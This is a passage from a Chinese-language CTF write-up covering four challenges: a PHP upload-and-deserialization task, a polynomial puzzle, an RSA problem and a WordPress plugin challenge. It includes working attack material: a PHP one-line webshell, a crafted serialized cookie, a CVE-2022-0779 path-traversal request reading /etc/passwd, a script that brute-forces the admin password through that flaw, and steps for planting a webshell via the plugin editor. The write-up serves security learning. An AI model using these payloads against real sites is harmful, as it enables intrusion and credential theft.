并且可以发现文件名会被放到$userfile数组中并将数组序列化放到cookie中,当然在一开始做题测试的时候应该也能从页面中看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
include "config.inc.php";

$file = $_FILES["file"];
if ($file["error"] == 0) {
if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
$typeArr = explode("/", $file["type"]);
$imgType = array("png","jpg","jpeg");
if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){
exit("type error");
}
$blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
$filearray = pathinfo($file["name"]);
$ext = $filearray["extension"];
if(in_array($ext, $blackext)) {
exit("extension error");
}
$imgname = md5(time()).".".$ext;
if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) {
array_push($userfile, $imgname);
setcookie("userfile", serialize($userfile), time() + 3600*10);
$msg = e("file: {$imgname}");
echo $msg;
} else {
echo "upload failed!";
}
}
}else{
exit("error");
}

在class.inc.php中可以发现,而它不仅可以解析php文件还可以解析inc文件

而这里也直接对cookie进行反序列化,没有任何过滤

1
2
spl_autoload_register();
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);

那么直接上传一个inc文件,注意要将文件的Content-type修改一下

1
<?php system('ls');eval($_POST['cmd']);?>

image-20220801135545948

获得文件名,将cookie修改成:

1
O%3A32%3A%2202f9bf508f93eebdd216dba17c5a99c0%22%3A0%3A%7B%7D

刷新一下,执行成功

image-20220801140011233

flag:

1
flag{3acd895a-8b80-4fd7-8cc9-2701f261d654}

polydiv

  • 题目描述

    多项式乘法,已知a(x)*b(x)+c(x)=r(x)a(x),c(x),r(x)求`b(x)

题目与提供的代码稍有出入,服务器上跑的是可以看成在$GF(2^8)$下求b(x)

1
2
3
4
5
6
sage: R.<x>=GF(8)
sage: a = x^7 + x^5 + x^2
....: c = x^6 + x^5 + x^4 + x^3 + x^2 + x + 1
....: r = x^14 + x^12 + x^10 + x^7 + x^2 + x + 1
sage: (r-c)/a
x^2

或者直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
from gmpy2 import *
import hashlib
from string import ascii_letters, digits
from pwn import *
from itertools import product
from poly2 import *

context.log_level = 'debug'
table = ascii_letters + digits


class Solve():
def __init__(self):
self.sh = remote('182.92.82.77', 12469)
self.r = 0
self.a = 0
self.c = 0

def proof_of_work(self):
proof = self.sh.recvuntil(b'Give me XXXX:')
tail = proof[12:28].decode()
_hash = proof[33:97].decode()
for i in product(table, repeat=4):
head = ''.join(i)
t = hashlib.sha256((head + tail).encode()).hexdigest()
if t == _hash:
self.sh.sendline(head.encode())
break

def Poly2N(self, f):
return eval(f.replace('^', '**').replace('x', '2'))

def check(self, a, c, pr):
for b in range(256):
pa, pb, pc = [PP(bin(i)[2:]) for i in [a, b, c]]
r = pa * pb + pc
if str(r) == pr:
return int(b)
return False

def solve_rac(self):
for i in range(40):
self.sh.recvuntil(b'r(x) = ')
self.r = self.sh.recvline()[:-1].decode()
tmp = self.r
self.sh.recvuntil(b'a(x) = ')
self.a = self.sh.recvline()[:-1].decode()
self.sh.recvuntil(b'c(x) = ')
self.c = self.sh.recvline()[:-1].decode()
self.r = self.Poly2N(self.r)
self.a = self.Poly2N(self.a)
self.c = self.Poly2N(self.c)
b = self.check(self.a, self.c, tmp)
if b:
self.sh.sendlineafter(b'> b(x) = ', str(PP(bin(b)[2:])).encode())

def solve(self):
self.proof_of_work()
self.solve_rac()
self.sh.interactive()

if __name__ == '__main__':
solution = Solve()
solution.solve()
# flag{f2887f56-0114-49c0-a0c6-663f164ef84a}

ASR

  • 题目描述

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    from Crypto.Util.number import getPrime
    from secret import falg

    pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))

    n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2
    e = 3

    flag = pad(flag)
    print(flag)
    assert(len(flag) >= 48)
    m = int.from_bytes(flag,'big')
    c = pow(m,e,n)

    print(f'n = {n}')
    print(f'e = {e}')
    print(f'c = {c}')

    '''
    n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
    e = 3
    c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
    '''

4个因子,因为都是128位,yafu直接分解$\sqrt{n}$

跑到一半报错了(心态崩),看日志差不多一个小时的时间分解出来一个因子

image-20220730204034366

之后重新下载了一个yafu就可以继续跑了

image-20220730222756505

最后$e=3$,$\varphi$有公因子9分别来自两个因子;由于$m$比较小,直接选用另外两个因子做模数就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from gmpy2 import *
from Crypto.Util.number import *

e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
n1 = iroot(n, 2)[0]

r1, r2, r3, r4 = [225933944608558304529179430753170813347, 218566259296037866647273372633238739089, 223213222467584072959434495118689164399, 260594583349478633632570848336184053653]

phi = r3 * r4 * (r3 - 1) * (r4 - 1)
new_n = (r3 * r4) ** 2
d = invert(e, phi)
m = long_to_bytes(pow(c, d, new_n))
print(m)
# b'flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}\x06\x06\x06\x06\x06\x06'

WP-UM

  • CVE-2022-0779

因为存在meta-user插件,并且版本为2.4.3

payload:

WordPress User Meta Lite Pro 2.4.3 Path遍历漏洞CVE-2022-0779-子云社区 (zilyun.com)

1
2
3
4
5
6
7
8
9
10
11
POST /wp-admin/admin-ajax.php HTTP/1.1<br>
Accept: */*<br>
Accept-Language: en-GB,en;q=0.5<br>
Accept-Encoding: gzip, deflate<br>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>
X-Requested-With: XMLHttpRequest<br>
Content-Length: 158<br>
Connection: close<br>
Cookie: [subscriber+]<br>
<br>
field_name=test&filepath=/../../../../../../../../etc/passwd&field_id=um_field_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=4286c1c56a&is_ajax=true

而给我们的目录中发现存在username和password目录,而通过题目的提示说明就是管理员的账户,那么直接利用这个cve爆破管理员密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

def getAdmin():
url = '<http://eci-2ze10x6989phb1g6riek.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php>'
for i in range(1, 16):
for x in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
data = {'field_name': 'test', 'filepath': '/../../../../../../password/{}{}'.format(str(i), x), 'field_id': 'um_field_4',
'form_key': 'Upload', 'action': 'um_show_uploaded_file', 'pf_nonce': 'ffe681c469',
'is_ajax': 'true'}
cookie = {}
r = requests.post(url, data=data)
print(r.text)
if 'umRemoveFile' in r.text:
print(str(i)+x)
break

getAdmin()

# MaoGePaMao
# MaoGeYaoQiFeiLa

直接登录,在插件那里存在插件文件编辑,直接在user-meta.php中写入一句话木马

直接访问首页,执行成功,flag在user目录下